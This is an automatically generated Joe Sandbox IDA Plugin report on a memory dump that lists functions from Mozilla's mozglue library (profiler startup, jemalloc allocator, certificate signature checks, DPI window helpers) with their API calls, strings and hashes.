Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 1616d90f6f5639342b58acfbc02af334f819401a51409af0f9a6107dc9d9c8be
Instruction ID: 4f349f2abd1ea8c81b01e3776a26059bf299359039a76649fe6871d76dd7bb7d
Opcode Fuzzy Hash: 1616d90f6f5639342b58acfbc02af334f819401a51409af0f9a6107dc9d9c8be
Instruction Fuzzy Hash: 39222570A04314DFDB00AFB69C1865E77F4BF8634CF852929E94A87A41F731D849CB96

Function 6C56B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C56B845
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8,?,?,00000000), ref: 6C56B852
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56B884
InitializeConditionVariable.KERNEL32(?), ref: 6C56B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C56B9FD
GetCurrentThreadId.KERNEL32 ref: 6C56BA05
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8,?,?,00000000), ref: 6C56BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C56BA27
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56BA4B
free.MOZGLUE(?), ref: 6C56C9C7
free.MOZGLUE(?), ref: 6C56C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C56C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C56C878

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e9466984a66cfe487920bd01d15e6ef6d9cf5f3bc764f3cac252f91c74df0af4
Instruction ID: f81e750ffdd3d48ac0924d849fa2f4d67c6a8a52332f75df7c730b329aae8756
Opcode Fuzzy Hash: e9466984a66cfe487920bd01d15e6ef6d9cf5f3bc764f3cac252f91c74df0af4
Instruction Fuzzy Hash: 5BA2AD71A083808FCB25DF29C88079FB7E5BFC9314F454A2DE89997750DB71A909CB92

Function 6C536C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C536CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C536D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C536D26

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C536D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C536D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C536D73
free.MOZGLUE(00000000), ref: 6C536D80
CertGetNameStringW.CRYPT32 ref: 6C536DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C536DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C536DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C536DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C536E10
CryptMsgClose.CRYPT32(00000000), ref: 6C536E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C536E34
CreateFileW.KERNEL32 ref: 6C536EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C536F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C536F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C53709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C537103
free.MOZGLUE(00000000), ref: 6C537153
CloseHandle.KERNEL32(?), ref: 6C537176
__Init_thread_footer.LIBCMT ref: 6C537209
__Init_thread_footer.LIBCMT ref: 6C53723A
__Init_thread_footer.LIBCMT ref: 6C53726B
__Init_thread_footer.LIBCMT ref: 6C53729C
__Init_thread_footer.LIBCMT ref: 6C5372DC
__Init_thread_footer.LIBCMT ref: 6C53730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5373C2
VerSetConditionMask.NTDLL ref: 6C5373F3
VerSetConditionMask.NTDLL ref: 6C5373FF
VerSetConditionMask.NTDLL ref: 6C537406
VerSetConditionMask.NTDLL ref: 6C53740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C53741A
moz_xmalloc.MOZGLUE(?), ref: 6C53755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C537568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C537585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C537598
free.MOZGLUE(00000000), ref: 6C5375AC

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

Strings

wintrust.dll, xrefs: 6C5372CD
(, xrefs: 6C53768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5372C8
SHA256, xrefs: 6C536EC0

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 28f7a9732458de7c37ca9781a104c12b395dbe1101999f01d6931e417e5e952e
Instruction ID: 849f8515a8a2ec54a5f40ae43475add11f0e551bbc8d1b4381aee355d8d551dc
Opcode Fuzzy Hash: 28f7a9732458de7c37ca9781a104c12b395dbe1101999f01d6931e417e5e952e
Instruction Fuzzy Hash: BC52E4B1E00229DBEB21DF65CD84BAE77B8EB85704F015199E40CA7640EB70AE85CF95

Function 6C556FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE7DC), ref: 6C557019
LeaveCriticalSection.KERNEL32(6C5AE7DC), ref: 6C557061
EnterCriticalSection.KERNEL32(?), ref: 6C5571A4
LeaveCriticalSection.KERNEL32(?), ref: 6C55721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C55723E
EnterCriticalSection.KERNEL32(?), ref: 6C55726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5572B2
LeaveCriticalSection.KERNEL32(?), ref: 6C55733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5573E8
LeaveCriticalSection.KERNEL32(?), ref: 6C55961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C559622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C559642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C55964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5596CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5596DB
AcquireSRWLockExclusive.KERNEL32(6C5AE804), ref: 6C559747
GetSystemInfo.KERNEL32(?), ref: 6C559792
__Init_thread_footer.LIBCMT ref: 6C5597A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5AE810,00000040), ref: 6C5597CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE7B8,00001388), ref: 6C559838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE744,00001388), ref: 6C55984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE784,00001388), ref: 6C559874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE7DC,00001388), ref: 6C559895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C559B38
MOZ_CRASH(), xrefs: 6C559B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C559993
<jemalloc>, xrefs: 6C559B33, 6C559BE3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C559933, 6C559A33, 6C559A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C559BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5599A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5599D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5599BD
MALLOC_OPTIONS, xrefs: 6C5597CA

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0abb2bda04e32adc8e8caf0ede694f802ea7316fb764376c9ec9915877c6537c
Instruction ID: b15b313b2622ca64e9e677ae68ae12b025fc7fddbee4ba8547383a2cd6627646
Opcode Fuzzy Hash: 0abb2bda04e32adc8e8caf0ede694f802ea7316fb764376c9ec9915877c6537c
Instruction Fuzzy Hash: 2D53B0B1A157018FC704CF29C980619FBE1FF85328F69C66EE8698B791D375E852CB81

Function 6C560DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C560F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C560F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C560FB7
EnterCriticalSection.KERNEL32(?), ref: 6C560FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C561031
LeaveCriticalSection.KERNEL32(?), ref: 6C5610D0
EnterCriticalSection.KERNEL32(?), ref: 6C56117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C561C39
EnterCriticalSection.KERNEL32(6C5AE744), ref: 6C563391
LeaveCriticalSection.KERNEL32(6C5AE744), ref: 6C5633CD
LeaveCriticalSection.KERNEL32(?), ref: 6C563431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C563437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C563946
MOZ_CRASH(), xrefs: 6C563950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C563793
<jemalloc>, xrefs: 6C563941, 6C5639F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C563559, 6C56382D, 6C563848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C563A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5637A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5637D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5637BD
MALLOC_OPTIONS, xrefs: 6C5635FE

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 30d823e48e21b6de0e4dc715d8de1e6c0de81c9dc3419d71b2be59cdcb13b90d
Instruction ID: fa0f4c424807bf80eef2f5f80a39077aed69623059c5d76b5261654fde255735
Opcode Fuzzy Hash: 30d823e48e21b6de0e4dc715d8de1e6c0de81c9dc3419d71b2be59cdcb13b90d
Instruction Fuzzy Hash: 35536E71A057018FD714CF2AC940616FBE1BF89328F29C76DE8699BBA1D771E841CB81

Function 6C5855F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C55E1A5), ref: 6C585606
LoadLibraryW.KERNEL32(gdi32,?,6C55E1A5), ref: 6C58560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C585633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C58563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C58566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C58567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C585696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5856B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5856CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5856E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5856FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C585716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C58572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C585748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C585761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C58577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C585793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5857A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5857BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5857D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5857EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5857FF

Strings

CreateWindowExW, xrefs: 6C5856C5
GetDpiForWindow, xrefs: 6C585690
user32, xrefs: 6C585601
gdi32, xrefs: 6C58560A
ReleaseDC, xrefs: 6C585742
SetWindowPos, xrefs: 6C5856F7
StretchDIBits, xrefs: 6C5857CC
SetWindowLongPtrW, xrefs: 6C5857B7
DeleteObject, xrefs: 6C5857F9
GetSystemMetricsForDpi, xrefs: 6C585677
ShowWindow, xrefs: 6C5856DE
EnableNonClientDpiScaling, xrefs: 6C585666
CreateSolidBrush, xrefs: 6C5857E4
GetWindowDC, xrefs: 6C585710
AreDpiAwarenessContextsEqual, xrefs: 6C585637
FillRect, xrefs: 6C585729
RegisterClassW, xrefs: 6C5856AC
GetThreadDpiAwarenessContext, xrefs: 6C58562D
LoadIconW, xrefs: 6C58575B
LoadCursorW, xrefs: 6C585774
GetMonitorInfoW, xrefs: 6C5857A2
MonitorFromWindow, xrefs: 6C58578D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 59fc5a46afd8b012c661c41ef083d0239129129d700bbe5890c535bc802fda3f
Instruction ID: 34d8e80a9c7952f59a17bd2a7fff5b5a010f068d0a293cd741e644a84e6a3de7
Opcode Fuzzy Hash: 59fc5a46afd8b012c661c41ef083d0239129129d700bbe5890c535bc802fda3f
Instruction Fuzzy Hash: 9E516B707127179BEB007FB76D5492E3AF8AB072457A14526F912D2642FB70C801CFA4

Function 6C5834A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C58355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5835BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5835E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C58363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5836CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C58373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C58378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5838BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5839EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C583EE2

Part of subcall function 6C586180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5861DD
Part of subcall function 6C586180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C58622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5840F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C58412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C584157

Part of subcall function 6C586180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C586250
Part of subcall function 6C586180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C586292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C58441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C584448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C58484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C584863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C584878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C584896
free.MOZGLUE ref: 6C58489F

Strings

, xrefs: 6C584CD2

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 99eefddc93fbc0d9957a3b6e46f25e61d3aa043ba5fb24e0cc7ee56f304f5c70
Instruction ID: e063f8d62a96e2945b071286b197604753a9e6f3825e8973acdb4fcb8d1f8bfe
Opcode Fuzzy Hash: 99eefddc93fbc0d9957a3b6e46f25e61d3aa043ba5fb24e0cc7ee56f304f5c70
Instruction Fuzzy Hash: 4DF24B74909780CFC721CF29C49469AFBF1BFCA318F118A5ED99997712DB319886CB42

Function 6C56F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C56F09B

Part of subcall function 6C545B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5456EE,?,00000001), ref: 6C545B85
Part of subcall function 6C545B50: EnterCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545B90
Part of subcall function 6C545B50: LeaveCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545BD8
Part of subcall function 6C545B50: GetTickCount64.KERNEL32 ref: 6C545BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C56F0AC

Part of subcall function 6C545C50: GetTickCount64.KERNEL32 ref: 6C545D40
Part of subcall function 6C545C50: EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C545D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C56F0BE

Part of subcall function 6C545C50: __aulldiv.LIBCMT ref: 6C545DB4
Part of subcall function 6C545C50: LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C545DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C56F155
GetCurrentThreadId.KERNEL32 ref: 6C56F1E0
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F1ED
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F212
GetCurrentThreadId.KERNEL32 ref: 6C56F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C56F248
GetCurrentThreadId.KERNEL32 ref: 6C56F2AE
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F2BB
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F2F8

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56F350
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F35D
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F381
GetCurrentThreadId.KERNEL32 ref: 6C56F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F3A0
GetCurrentThreadId.KERNEL32 ref: 6C56F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F491

